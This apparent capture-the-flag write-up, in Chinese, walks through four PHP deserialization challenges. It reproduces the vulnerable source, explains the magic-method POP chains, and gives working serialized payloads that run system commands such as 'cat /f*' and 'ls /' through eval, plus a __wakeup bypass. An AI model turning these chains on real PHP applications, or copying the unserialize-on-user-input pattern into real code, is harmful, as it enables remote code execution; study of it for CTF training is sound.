1、 [NISACTF 2022]babyserialize
分析发现定义一个类,里面为两个对象赋值并调用__wakeup()魔术方法,用if语句
//检查 $this->fun
是否等于 "show_me_flag",如果是,则调用 hint()
函数。
当对象的方法不存在时,__call()
方法会被调用,
-
__call($from, $val)
:这里将$val[0]
赋值给$this->fun
。 -
__toString():
输出$this->fun
并返回空格字符串。 -
定义了一个
__invoke
方法,这是一种魔术方法,它允许对象以函数方式调用。在这个方法中,首先调用checkcheck
函数检查$this->txw4ever
,然后使用eval
执行$this->txw4ever
的内容。
分别定义了两个类和其中的属性,__wakeup()
是一个 PHP 魔术方法,当对象被反序列化时会自动调用。然后调用 $ext
对象的 nisa()
方法,并将当前对象的属性 $x
作为参数传递给 nisa()
方法。
__call($fun1,$arg) PHP 魔术方法,当调用不存在的方法时会自动触发。然后将传递给方法的第一个参数($arg[0])赋值给 $this->huang->fun。
调用__toString()函数:
- 将对象的
$this->su
属性赋值给局部变量$bb
。 - 调用
$bb
作为函数,并将其返回值作为字符串返回。
在four这个类中定义了一个公有属性和一个私人属性并且分别为它们赋值,调用set()函数,在给不可访问的属性赋值时, __set()
会被调用。将fun属性的值设为sixsixsix,当 $this->fun
等于 "sixsixsix" 时,把 $this->a
中的所有字符转换成小写字母。接下来要检查是否存在名为 ser
的 GET 参数。如果存在,它会尝试对该参数的值进行反序列化;如果不存在,它会高亮显示当前文件的内容。
接下来打算构造pop链:
1、找到关键函数eval()函数。
触发eval()可以考虑在此插入system
命令(NISA类)
2、要触发eval()就需要触发__invoke(),当尝试将对象调用为函数时触发_invoke(),(NISA类)
3、将对象的 $this->su
属性赋值给局部变量 $bb,
调用 $bb
作为函数,并将其返回值作为字符串返回。达到_invoke()触发的条件,又需要触发__toString(NISA类)
4、__toString触发条件是将对象当做字符串对待,strtolower()函数将对象内容转换成字符串形式可触发(four类)
5、__toString触发意味着触发set()函数,在给不可访问的属性赋值时, __set()
会被调用
在Ilovetxw::__call()
中,将$huang构造成four
对象,通过$this->huang->fun=$arg[0];
对私有属性$fun
进行设置值
6、触发Ilovetxw::__call()
:在TianXiWei::__wakeup()
中,构造$ext为Ilovetxw
对象
构造payload:
<?php
class NISA{
public $fun;
public $txw4ever;
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$e = new NISA();
$e -> txw4ever = "System('cat /f*');";
$d = new Ilovetxw();
$d -> su = $e;
$c = new four();
$c -> a = $d;
$b = new Ilovetxw();
$b -> huang = $c;
$a = new TianXiWei();
$a -> ext = $b;
echo urlencode(serialize($a));
?>
?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%27cat+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D
最后得到flag
2、[SWPUCTF 2022 新生赛]1z_unserialize
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
定义类lyh这个类,并在这个类中定义三个属性并未url这个属性赋值。__destruct()
当对象被销毁时会自动调用,用$this->lt
给$a赋值,将a作为函数调用,将$this->lly作为参数传给它。
就是构造的关键函数。
得到:
O:3:"lyh":3:{s:3:"url";N;s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
进行post传参。
得到这个页面后开始查找flag
3、[SWPUCTF 2022 新生赛]ez_ez_unserialize
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
首先对于$x默认值是当前文件的路径(__FILE__
)。构造函数 __construct($x)
初始化对象时,将传入的参数 $x
赋值给属性 $x
。
魔术方法 __wakeup()
:当对象从序列化状态恢复时调用。如果 $this->x
不是当前文件的路径,则将其重置为当前文件的路径。
魔术方法 __destruct()
:对象销毁时调用,使用 highlight_file
函数显示 $this->x
文件的内容。最后检查 $_REQUEST['x']
是否设置。如果设置了,则对其值进行反序列化操作。如果未设置 $_REQUEST['x']
,则显示当前文件的内容。
关键函数是highlight_file(),
将x反序列化输出,flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化。但是前面还有wakeup函数,wakeup函数判断x是否等于当前文件目录,如果不等于,就使x等于当前文件目录。所以我们要想办法绕过wakeup函数。
首先执行查看内容需要触发__destruct()。意味着需要实例化对象触发__construct(),还需要绕过wakeup。构造payload:
得到 :O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
得到flag:
4、[MoeCTF 2021]unserialize
<?php
class entrance
{
public $start;
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
$this->start->helloworld();
}
}
class springboard
{
public $middle;
function __call($name, $arguments)
{
echo $this->middle->hs;
}
}
class evil
{
public $end;
function __construct($end)
{
$this->end = $end;
}
function __get($Attribute)
{
eval($this->end);
}
}
if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}
分析代码:定义了三个类,并对三个类分别作了处理
-
entrance
类:- 属性:
$start
,在构造函数中初始化。 - 方法:
__construct($start)
:构造函数,接受一个参数并赋值给$start
。__destruct()
:析构函数,调用$start
的helloworld
方法。
- 属性:
-
springboard
类:- 属性:
$middle
。 - 方法:
__call($name, $arguments)
:魔术方法,当调用未定义的方法时触发,输出$middle
的hs
属性。
- 属性:
-
evil
类:- 属性:
$end
,在构造函数中初始化。 - 方法:
__construct($end)
:构造函数,接受一个参数并赋值给$end
。__get($Attribute)
:魔术方法,访问未定义或不可见的属性时触发,使用eval
执行$end
。
- 属性:
最后检查 $_GET['serialize']
是否设置。如果设置了,则对其值进行反序列化操作。如果未设置 $_GET['serialize']
,则显示当前文件的内容。
因为需要触发eval()函数,所以要触发__call方法,
访问未定义或不可见的属性时触发,也就是需要访问evil不存在的属性,我们找到call,call的触发条件是调用不存在的方法,再找到destruct,触发它。
构造pop链:
<?php
class entrance
{
public $start;
}
class springboard
{
public $middle;
}
class evil
{
public $end;
}
$a = new entrance();
$a->start=new springboard();
$a->start->middle = new evil();
$a->start->middle->end = "system('ls /');";
$a = serialize($a);
echo $a;
?>
?serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:15:"system('ls /');";}}}
第一次构造的payload,查看flag位置
查到后可以直接用cat/flag输出flag
总结:php序列化与反序列化的题目在解题时一般先找eval()这种可以进行命令执行的关键函数,然后再用逆向思维退导需要触发的魔法方法,并以此作为依据构造pop链,得到payload。